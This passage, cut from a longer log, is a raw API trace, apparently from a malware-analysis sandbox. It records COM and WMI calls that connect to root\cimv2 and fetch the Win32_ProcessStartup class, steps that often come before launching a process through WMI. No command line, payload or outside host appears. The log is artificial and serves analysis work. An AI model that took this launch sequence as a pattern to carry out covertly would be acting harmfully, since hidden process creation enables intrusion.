puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0156.285] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.285] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0156.285] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0156.285] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0156.285] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.286] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bbd8b00) returned 0x0 [0156.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8b00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0156.287] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8b00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0a290) returned 0x0 [0156.287] WbemDefPath:IUnknown:Release (This=0x1bbd8b00) returned 0x0 [0156.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0a290) returned 0x0 [0156.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0156.287] WbemDefPath:IUnknown:AddRef (This=0x1aa0a290) returned 0x3 [0156.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0156.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0156.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bbd8b40) returned 0x0 [0156.287] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8b40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.287] WbemDefPath:IUnknown:Release (This=0x1bbd8b40) returned 0x3 [0156.287] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0156.287] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0156.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0156.287] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x2 [0156.287] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x1 [0156.288] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0156.288] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0156.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0a290) returned 0x0 [0156.288] WbemDefPath:IUnknown:AddRef (This=0x1aa0a290) returned 0x3 [0156.288] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x2 [0156.288] WbemDefPath:IWbemPath:SetText (This=0x1aa0a290, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0156.288] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a290, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0156.288] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0156.288] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.288] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0156.288] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0156.288] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0156.288] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.316] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bbd88c0) returned 0x0 [0156.316] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd88c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0156.316] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbd88c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bbd8940) returned 0x0 [0156.316] WbemLocator:IUnknown:Release (This=0x1bbd88c0) returned 0x0 [0156.316] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8940, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bbd8940) returned 0x0 [0156.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8940, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0156.317] WbemLocator:IUnknown:AddRef (This=0x1bbd8940) returned 0x3 [0156.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8940, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0156.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8940, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0156.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8940, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0156.317] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0156.317] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0156.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8940, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0156.317] WbemLocator:IUnknown:Release (This=0x1bbd8940) returned 0x2 [0156.317] WbemLocator:IUnknown:Release (This=0x1bbd8940) returned 0x1 [0156.317] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0156.317] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0156.317] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8940, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bbd8940) returned 0x0 [0156.317] WbemLocator:IUnknown:AddRef (This=0x1bbd8940) returned 0x3 [0156.317] WbemLocator:IUnknown:Release (This=0x1bbd8940) returned 0x2 [0156.318] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a290, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0156.318] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0156.318] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a290, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.318] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bbd8960) returned 0x0 [0156.318] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbd8960, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bbd9200) returned 0x0 [0156.448] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9200, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdd100) returned 0x0 [0156.448] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdd100, pProxy=0x1bbd9200, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0156.448] WbemLocator:IUnknown:Release (This=0x1bbdd100) returned 0x1 [0156.448] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9200, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdd140) returned 0x0 [0156.448] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9200, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdd100) returned 0x0 [0156.449] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdd100, pProxy=0x1bbd9200, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0156.449] WbemLocator:IUnknown:Release (This=0x1bbdd100) returned 0x2 [0156.449] WbemLocator:IUnknown:Release (This=0x1bbdd140) returned 0x1 [0156.449] CoTaskMemFree (pv=0x1bc19530) [0156.449] WbemLocator:IUnknown:AddRef (This=0x1bbd9200) returned 0x2 [0156.449] WbemLocator:IUnknown:Release (This=0x1bbd8960) returned 0x0 [0156.449] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0156.449] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0156.449] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9200, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdd110) returned 0x0 [0156.450] WbemLocator:IRpcOptions:Query (in: This=0x1bbdd110, pPrx=0x1bbd8880, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0156.450] WbemLocator:IUnknown:Release (This=0x1bbdd110) returned 0x2 [0156.450] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0156.450] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0156.450] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9200, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bbd9200) returned 0x0 [0156.450] WbemLocator:IUnknown:Release (This=0x1bbd9200) returned 0x2 [0156.450] SysStringLen (param_1=0x0) returned 0x0 [0156.450] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0156.450] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0156.450] IWbemServices:GetObject (in: This=0x1bbd9200, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbb5800, ppCallResult=0x0) returned 0x0 [0156.452] IWbemClassObject:Get (in: This=0x1bbb5800, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0156.452] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0156.452] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0156.452] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0156.452] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0156.452] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0156.452] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.454] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bbd8960) returned 0x0 [0156.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8960, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0156.454] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8960, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc407c0) returned 0x0 [0156.454] WbemDefPath:IUnknown:Release (This=0x1bbd8960) returned 0x0 [0156.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc407c0) returned 0x0 [0156.454] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0156.455] WbemDefPath:IUnknown:AddRef (This=0x1bc407c0) returned 0x3 [0156.455] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0156.455] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0156.455] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bbd8980) returned 0x0 [0156.455] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8980, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.455] WbemDefPath:IUnknown:Release (This=0x1bbd8980) returned 0x3 [0156.455] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0156.455] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0156.455] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0156.455] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x2 [0156.455] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x1 [0156.455] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0156.455] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0156.455] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc407c0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc407c0) returned 0x0 [0156.455] WbemDefPath:IUnknown:AddRef (This=0x1bc407c0) returned 0x3 [0156.455] WbemDefPath:IUnknown:Release (This=0x1bc407c0) returned 0x2 [0156.455] WbemDefPath:IWbemPath:SetText (This=0x1bc407c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0156.455] IWbemClassObject:Get (in: This=0x1bbb5800, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28bea68*=0, plFlavor=0x28bea6c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28bea68*=19, plFlavor=0x28bea6c*=0) returned 0x0 [0156.455] IWbemClassObject:Get (in: This=0x1bbb5800, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28bea68*=19, plFlavor=0x28bea6c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 